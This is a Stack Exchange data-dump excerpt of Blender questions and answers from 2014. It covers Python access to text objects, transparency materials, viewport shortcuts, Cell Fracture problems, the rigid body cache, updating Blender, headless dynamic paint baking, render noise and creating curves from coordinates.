  <row Id="6731" PostTypeId="1" AcceptedAnswerId="6732" CreationDate="2014-02-03T15:00:53.080" Score="6" ViewCount="1362" Body="&lt;p&gt;I've got a Blender file with a lot of text objects and I want to do some scripting modifications on specific text with specific caption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the caption of a text curve in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the image below the caption that I want to find in Python is: 'This is a test'&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JKXsL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="12" LastEditDate="2014-02-17T06:45:10.637" LastActivityDate="2014-02-17T06:45:10.637" Title="How to get the caption of a text object in Python?" Tags="&lt;python&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6732" PostTypeId="2" ParentId="6731" CreationDate="2014-02-03T15:28:57.933" Score="6" Body="&lt;p&gt;Yes, you can access the text via the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.TextCurve.html#bpy.types.TextCurve.body&quot;&gt;body&lt;/a&gt; attribute,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# assume active object&#xA;obj = context.object&#xA;curve_text = obj.data&#xA;&#xA;print(curve_text.body)&#xA;&#xA;# set a new string&#xA;curve_text.body = &quot;This is a NEW test :)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-03T15:28:57.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6733" PostTypeId="1" AcceptedAnswerId="6734" CreationDate="2014-02-03T15:35:59.050" Score="2" ViewCount="1814" Body="&lt;p&gt;I would like to make a group of objects semi-transparent. I could not find a straight forward answer and the ones related include menus I cannot find in my Blender. I am working with Blender 2.69.&lt;/p&gt;&#xA;" OwnerUserId="2213" LastEditorUserId="14" LastEditDate="2014-02-03T19:09:06.800" LastActivityDate="2014-02-03T19:09:06.800" Title="How to add transparency to a group of objects" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6734" PostTypeId="2" ParentId="6733" CreationDate="2014-02-03T15:55:46.603" Score="3" Body="&lt;p&gt;&lt;strong&gt;Blender internal:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a material with the transparency option enabled:&lt;img src=&quot;https://i.stack.imgur.com/ZZ9hK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cycles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles it's a bit different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cSaqu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assign material to your objects&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you can assign manualy your material to your object one by one, or you can select all the object that you want to assign the material and select at last the object wich has already the transparent material. Then do &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;l&lt;/kbd&gt; and select Material. All your selected objects have now the transparent material.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2014-02-03T16:06:44.760" LastActivityDate="2014-02-03T16:06:44.760" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6735" PostTypeId="1" AcceptedAnswerId="6736" CreationDate="2014-02-03T17:59:41.097" Score="87" ViewCount="357102" Body="&lt;p&gt;In Maya if we have an object selected and we press &lt;kbd&gt;F&lt;/kbd&gt; then the object is brought into focus and if no object is selected then all the objects in the scene are brought into focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done in Blender?&lt;/p&gt;&#xA;" OwnerUserId="1957" LastEditorUserId="1363" LastEditDate="2014-02-03T18:37:29.520" LastActivityDate="2021-02-04T17:26:08.483" Title="How to focus on the selected object?" Tags="&lt;3d-view&gt;&lt;objects&gt;&lt;shortcut&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="6736" PostTypeId="2" ParentId="6735" CreationDate="2014-02-03T18:35:22.913" Score="107" Body="&lt;p&gt;Without knowing the specifics of the Maya feature, try pressing &lt;kbd&gt;.&lt;/kbd&gt; on the your keyboard's numeric keypad. This adjusts your 3D View to focus on the selected object. You can also press &lt;kbd&gt;/&lt;/kbd&gt; on the numeric keypad to get a &amp;quot;local view&amp;quot; of the selected object (pressing &lt;kbd&gt;/&lt;/kbd&gt; again will pop you back to the scene view).&lt;/p&gt;&#xA;&lt;p&gt;To show all non-hidden objects in the 3D View, press &lt;kbd&gt;Home&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For purposes of remapping, this keymap is called &lt;em&gt;Frame Selected&lt;/em&gt; under &lt;em&gt;3d View&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="52813" LastEditDate="2021-02-04T17:24:56.380" LastActivityDate="2021-02-04T17:24:56.380" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="6737" PostTypeId="2" ParentId="6735" CreationDate="2014-02-03T18:35:38.480" Score="30" Body="&lt;p&gt;&lt;kbd&gt;Numpad .&lt;/kbd&gt; to zoom to selected (or menu &lt;em&gt;View &amp;gt; Align View &amp;gt; View Selected&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt; to select all (you may need to hit it twice), then &lt;kbd&gt;Numpad .&lt;/kbd&gt; will zoom to all objects.&lt;br&gt;Or use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to reset view and recenter cursor.&lt;/p&gt;&#xA;&lt;p&gt;For purposes of remapping, this keymap is called &lt;em&gt;Frame Selected&lt;/em&gt; under &lt;em&gt;3d View&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="52813" LastEditDate="2021-02-04T17:26:08.483" LastActivityDate="2021-02-04T17:26:08.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6738" PostTypeId="1" CreationDate="2014-02-04T01:44:31.690" Score="5" ViewCount="5393" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V3XaB.jpg&quot; alt=&quot;enter image description here&quot;&gt;I have been trying to make a short clip of a bullet hitting a wine glass with wine in it, but I keep running into the same problem with the add-on. Every time I have used it the result has left me with at least a partial box being generated as several of the fractured pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried subdividing and/or adding a sub-surf modifier but the result only changes where the large distorted fragments end up. I have been having trouble with this for quite some time and I would greatly appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="2348" LastEditorUserId="2348" LastEditDate="2014-02-05T22:28:52.193" LastActivityDate="2015-03-03T09:15:51.500" Title="Cell Fracture addon leaving unfractured boxes?" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6739" PostTypeId="2" ParentId="6738" CreationDate="2014-02-04T03:26:45.607" Score="3" Body="&lt;p&gt;This can happen when you have a &lt;em&gt;Non-manifold mesh&lt;/em&gt; or intersecting geometry (see &lt;a href=&quot;https://blender.stackexchange.com/q/5140/599&quot;&gt;this post&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Manifold&quot; rel=&quot;nofollow noreferrer&quot;&gt;Non-manifold&lt;/a&gt; basically means that it cannot exist in real world 3D space. E.g. A 2D plane with no thickness is a non-manifold mesh. See &lt;a href=&quot;https://blender.stackexchange.com/q/7910/599&quot;&gt;What is non-manifold geometry?&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your mesh in edit mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select non-manifold geometry. Without looking at your .blend or at least some screenshots of your model, it's hard to say exactly how to fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Automatically fixing a non-manifold mesh:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remesh modifier&lt;/a&gt;&lt;/em&gt; always results in a manifold mesh, however it works by creating an entirely new mesh, so all topology, vertex groups, UV coordinates, etc. will be lost. It also often requires a dense mesh in order to match the shape of the input model accurately, so suffice it to say that it is better to fix your mesh manually when possible.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using boolean modifiers to fix a non-manifold mesh:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you don't mind messing up your topology a bit (which is probably the case, giving that it's going to be fractured anyway), using boolean modifiers to connect tricky parts of your mesh can save some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find parts of your mesh which are disconnected/non-manifold with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEmbV.png&quot; alt=&quot;image description&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there are no minor easily fixable issues (I don't see any in the above example), select everything and press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Loose parts&lt;/em&gt; to separate all the disconnected parts of the mesh into separate objects. If there are some quick fix issues, fix them first and then separate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go over each object and fill holes/fix other issues identified with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;. Using &lt;kbd&gt;Numpad /&lt;/kbd&gt; to go into local view can help de-clutter the view and focus on one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aLVWd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once all your individual objects are fixed and have issues such as intersecting geometry taken care of, you can use boolean modifiers to join the separate objects. You can press &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object selection field to select an object by clicking on it in the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89eh8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow which worked best for me is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First boolean join two objects and apply the modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the extra leftover object (the one which was specified in the modifier).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat until all the objects are joined.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This useful &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?336498-BoolTool-0-2-Released&quot; rel=&quot;nofollow noreferrer&quot;&gt;addon&lt;/a&gt; might help too.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-29T06:12:17.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6740" PostTypeId="2" ParentId="6738" CreationDate="2014-02-04T05:53:47.047" Score="7" Body="&lt;p&gt;This is caused by a failed boolean operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cell fracture uses the boolean modifier internally, if boolean fails because of geometry it can't handle (typically because of a non-manifold mesh), this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for 2.70 the boolean modifier has been upgraded to support ngons and a newer version of carve, so this will likely improve results in some cases, however there are limits to what boolean can operate on since it relies on calculating inside/outside of a mesh which can be problematic.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-28T10:50:28.580" LastActivityDate="2014-06-28T10:50:28.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6741" PostTypeId="1" CreationDate="2014-02-04T07:32:10.947" Score="22" ViewCount="15695" Body="&lt;p&gt;I've set up the physics of a swinging wrecking ball and set the animation to run for 240 frames.  This was not long enough for the entire &quot;swing&quot; of the ball-and-chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to reset the timeline, but I &lt;strong&gt;can&lt;/strong&gt; set the end frame to (say) 1000 frames, but when I try to play the animation, the animation progress halts at frame 240 and I cannot get it to go any further. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no markers or keyframes in the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to &quot;force reset&quot; the animation-timeline, to allow changes to the length?&lt;/p&gt;&#xA;" OwnerUserId="1347" LastEditorUserId="599" LastEditDate="2014-02-04T08:32:48.883" LastActivityDate="2019-06-20T01:08:40.347" Title="Physics are not simulated past a certain frame?" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6742" PostTypeId="2" ParentId="6741" CreationDate="2014-02-04T08:16:47.053" Score="17" Body="&lt;p&gt;The problem you are having is not with timeline, but with the length of the rigid body cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The physics systems have cache length settings independent of the scene frame range, so you must ensure that they are set accordingly as well as setting the frame range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this for rigid bodies, set the &lt;em&gt;End&lt;/em&gt; frame of the cache in &lt;em&gt;Properties &gt; Scene &gt; Rigid Body Cache&lt;/em&gt; to the last frame you want the rigid bodies to be animated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/56H3s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2.8 The Cache settings are under Rigid Body World&gt; Cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FeMYV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FeMYV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;Baked&lt;/em&gt; the simulation (rather than just playing the scene animation to make a temporary cache of the simulation), press &lt;em&gt;Free Bake&lt;/em&gt; in &lt;em&gt;Properties &gt; Scene &gt; Rigid Body Cache&lt;/em&gt; to remove and &quot;unlock&quot; that cache:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OYj9R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2019-06-20T01:08:40.347" LastActivityDate="2019-06-20T01:08:40.347" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6743" PostTypeId="2" ParentId="6741" CreationDate="2014-02-04T08:17:48.890" Score="7" Body="&lt;p&gt;Once the Rigid Body World is created in the scene, by default, the Rigid Body Cache frame range uses the current frame range. You need to manually change it in the &lt;code&gt;Scene&lt;/code&gt; -&gt; &lt;code&gt;Rigid Body Cache&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SsPRB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-02-04T08:17:48.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6744" PostTypeId="1" AcceptedAnswerId="6745" CreationDate="2014-02-04T08:51:41.853" Score="13" ViewCount="3611" Body="&lt;p&gt;I know Blender is free software and bugs happen. But my question is, is it good practice to update Blender every time there is an update? Even if a minor one? (i.e I'd consider 2.56 to 2.56b minor or even 2.63, no?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been updating very often for fear that updating frequently causes issues like broken settings, non-compatibility or lost user configs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is updating often recommended to keep up to date and adapted to the new changes, i.e like upgrades in the GUI and functionality?&lt;/p&gt;&#xA;" OwnerUserId="2351" LastEditorUserId="12" LastEditDate="2014-02-05T02:16:06.477" LastActivityDate="2015-07-12T00:53:02.027" Title="Is it advisable to update Blender to the newest version as soon as possible each time?" Tags="&lt;versions&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" CommunityOwnedDate="2014-02-04T15:29:33.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="6745" PostTypeId="2" ParentId="6744" CreationDate="2014-02-04T08:57:57.450" Score="13" Body="&lt;p&gt;Blender &lt;a href=&quot;http://www.blendernation.com/2008/12/01/blender-dna-rna-and-backward-compatibility/&quot; rel=&quot;noreferrer&quot;&gt;is &lt;em&gt;very&lt;/em&gt; compatible between versions&lt;/a&gt;, both backwards and forwards (with the exception of the upcoming 2.7, which is &lt;a href=&quot;https://code.blender.org/2013/06/blender-roadmap-2-7-2-8-and-beyond/&quot; rel=&quot;noreferrer&quot;&gt;supposed to have minor compatibility breakage&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;For lost configs, Blender should prompt you to use your old config after you start the new version, but if it doesn't it's very easy to transfer (and keep backups, etc.). See &lt;a href=&quot;https://blender.stackexchange.com/q/78/599&quot;&gt;this post&lt;/a&gt; for details.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3030/599&quot;&gt;The &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; releases&lt;/a&gt; are relatively minor bug fix releases usually only released when major bugs are found shortly after the initial release. In spite of being relatively minor releases, you probably want to use them instead of using the previous release (which has some bug bad enough to justify another release).&lt;/p&gt;&#xA;&lt;h1&gt;Conclusion:&lt;/h1&gt;&#xA;&lt;p&gt;It is of course up to you, depending your habits and what works for you, but I &lt;em&gt;&lt;strong&gt;highly&lt;/strong&gt;&lt;/em&gt; recommend staying with the latest &lt;em&gt;stable&lt;/em&gt; releases. However, expect to find bugs if you &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;use any development versions&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Notes:&lt;/h1&gt;&#xA;&lt;p&gt;Some extra information you may find useful:&lt;/p&gt;&#xA;&lt;h2&gt;Multiple versions:&lt;/h2&gt;&#xA;&lt;p&gt;You can have multiple versions of Blender installed simultaneously, which may be of use if you want to try the new version without removing your current version.&lt;/p&gt;&#xA;&lt;p&gt;To install another version along side your current version:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;noreferrer&quot;&gt;Download blender&lt;/a&gt; using the archive (&lt;code&gt;*.zip&lt;/code&gt;, &lt;code&gt;*.tar.bz2&lt;/code&gt;). The archive gives you a completely &lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_application&quot; rel=&quot;noreferrer&quot;&gt;portable&lt;/a&gt; version of Blender which you put and run anywhere (even a USB drive) without any installation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract the archive into some directory (the archive extracts into a new subdirectory).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the &lt;code&gt;blender&lt;/code&gt; executable located in the extracted directory.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that portable Blender will use the config of the system version of Blender (if there is one) by default. If you want to have separate configs, create a directory called &lt;code&gt;config&lt;/code&gt; in &lt;code&gt;$directory_from_extracted_archive/2.69/&lt;/code&gt; where &lt;code&gt;2.69&lt;/code&gt; is the version of Blender you extracted.&lt;/p&gt;&#xA;&lt;h2&gt;Bugs:&lt;/h2&gt;&#xA;&lt;p&gt;If you &lt;em&gt;do&lt;/em&gt; find a bug, &lt;strong&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/1377/599&quot;&gt;report it!&lt;/a&gt;&lt;/strong&gt; The developers are usually very responsive (I have had reports fixed within a couple of hours).&lt;/p&gt;&#xA;&lt;p&gt;Don't assume someone else will report it if you don't (but do check to see if it's already been reported before you report it, just in case).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-12T00:53:02.027" CommentCount="1" CommunityOwnedDate="2014-02-04T15:29:33.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="6746" PostTypeId="1" AcceptedAnswerId="6747" CreationDate="2014-02-04T11:18:00.813" Score="5" ViewCount="843" Body="&lt;p&gt;I have had a look at &lt;a href=&quot;https://blender.stackexchange.com/q/4963/2353&quot;&gt;Baking smoke on a headless machine&lt;/a&gt;, however, I cannot figure out my way from there to bake dynamic paint on a headless machine. This is what I have come up with by now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for scene in bpy.data.scenes:&#xA;    for object in scene.objects:&#xA;        for modifier in object.modifiers:&#xA;            if modifier.type == 'DYNAMIC_PAINT':&#xA;                override = {'scene': scene, 'object': object}&#xA;                bpy.ops.dpaint.bake(override)&#xA;                break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PyContext 'window' not found&#xA;PyContext 'window' not found&#xA;PyContext 'window' not found&#xA;Error: Bake failed: invalid canvas&#xA;Error: Bake failed: invalid canvas&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;/home/horazont/baker.py&quot;, line 8, in &amp;lt;module&amp;gt;&#xA;    bpy.ops.dpaint.bake(override)&#xA;  File &quot;/usr/share/blender/2.69/scripts/modules/bpy/ops.py&quot;, line 186, in __call__&#xA;    ret = op_call(self.idname_py(), C_dict, kw, C_exec, C_undo)&#xA;RuntimeError: Error: Bake failed: invalid canvas&#xA;&#xA;&#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which parameters do I have to pass to the operator?&lt;/p&gt;&#xA;" OwnerUserId="2353" LastActivityDate="2014-02-04T15:50:15.190" Title="How to bake dynamic paint surfaces headlessly?" Tags="&lt;python&gt;&lt;baking&gt;&lt;dynamic-paint&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6747" PostTypeId="2" ParentId="6746" CreationDate="2014-02-04T14:17:29.020" Score="5" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj=bpy.data.objects['Cube']&#xA;modifier=obj.modifiers['Dynamic Paint']&#xA;canvas_surface=modifier.canvas_settings.canvas_surfaces['Surface']&#xA;point_cache=canvas_surface.point_cache&#xA;&#xA;context={}&#xA;context['blend_data']=bpy.data&#xA;context['scene']=bpy.data.scenes['Scene']&#xA;context['active_object']=obj&#xA;context['point_cache']=point_cache&#xA;&#xA;bpy.ops.ptcache.bake(context,bake=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Objects can be both a brush and a canvas. The baking is done by the surfaces of the canvas. So an additional iteration is necessary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#...&#xA;for modifier in obj.modifiers:&#xA;    if modifier.type=='DYNAMIC_PAINT':&#xA;        #additional iteration&#xA;        for canvas_surface in modifier.canvas_settings.canvas_surfaces:&#xA;             context['active_object']=obj&#xA;             context['point_cache']=canvas_surface.point_cache&#xA;             bpy.ops.ptcache.bake(context,bake=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-04T15:50:15.190" LastActivityDate="2014-02-04T15:50:15.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6748" PostTypeId="1" AcceptedAnswerId="6768" CreationDate="2014-02-04T14:25:20.933" Score="8" ViewCount="13494" Body="&lt;p&gt;Ive only been introduced to Blender yesterday and have been trawling through the tutorials and loving it, definitely a new fan, albeit still taking very small steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported a VRML from a GIS application (ArcScene).  I have done little to the scene in Blender, apart from adding some material effects to the ground layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can't understand is why my final render has a lot of noise in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone give me some pointers on how to get a better quality render?  Is it something to do with the render settings or have I missed something on the import/configuration of the scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0kzNj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XWNN4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bhuDW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="743" LastEditDate="2014-02-04T23:45:42.200" LastActivityDate="2014-02-04T23:45:42.200" Title="Why is there noise in my output?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ClosedDate="2014-02-04T23:27:24.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="6749" PostTypeId="2" ParentId="6748" CreationDate="2014-02-04T16:17:30.170" Score="4" Body="&lt;h2&gt;Blender Internal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're using Blender Internal with Raytracing as your Gather mode, the following will work. Raytracing is realistic, but it requires a certain number of samples, otherwise it will be grainy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the World settings in the Gather section, change the samples to something like 10 or 12:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KpzL3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cycles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're using Cycles, you can turn up the render samples in the Render panel under sampling:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NliZf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-02-04T20:46:18.903" LastActivityDate="2014-02-04T20:46:18.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6750" PostTypeId="1" CreationDate="2014-02-04T17:05:22.357" Score="12" ViewCount="12457" Body="&lt;p&gt;I'm trying to create curves from a list of points, I have the xyz coordinates in text files.&#xA;I could make it manually via the python console for a single curve, but I have to do it many times and I don't know how to correctly implement a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="2356" LastEditorUserId="1363" LastEditDate="2014-02-04T19:17:51.380" LastActivityDate="2014-02-04T19:17:51.380" Title="Poly / Bezier curve from a list of coordinates" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;import&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6751" PostTypeId="2" ParentId="6750" CreationDate="2014-02-04T17:38:49.557" Score="21" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# sample data&#xA;coords = [(1,1,1), (2,2,2), (1,2,1)]&#xA;&#xA;# create the Curve Datablock&#xA;curveData = bpy.data.curves.new('myCurve', type='CURVE')&#xA;curveData.dimensions = '3D'&#xA;curveData.resolution_u = 2&#xA;&#xA;# map coords to spline&#xA;polyline = curveData.splines.new('NURBS')&#xA;polyline.points.add(len(coords))&#xA;for i, coord in enumerate(coords):&#xA;    x,y,z = coord&#xA;    polyline.points[i].co = (x, y, z, 1)&#xA;&#xA;# create Object&#xA;curveOB = bpy.data.objects.new('myCurve', curveData)&#xA;&#xA;# attach to scene and validate context&#xA;scn = bpy.context.scene&#xA;scn.objects.link(curveOB)&#xA;scn.objects.active = curveOB&#xA;curveOB.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-02-04T17:38:49.557" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
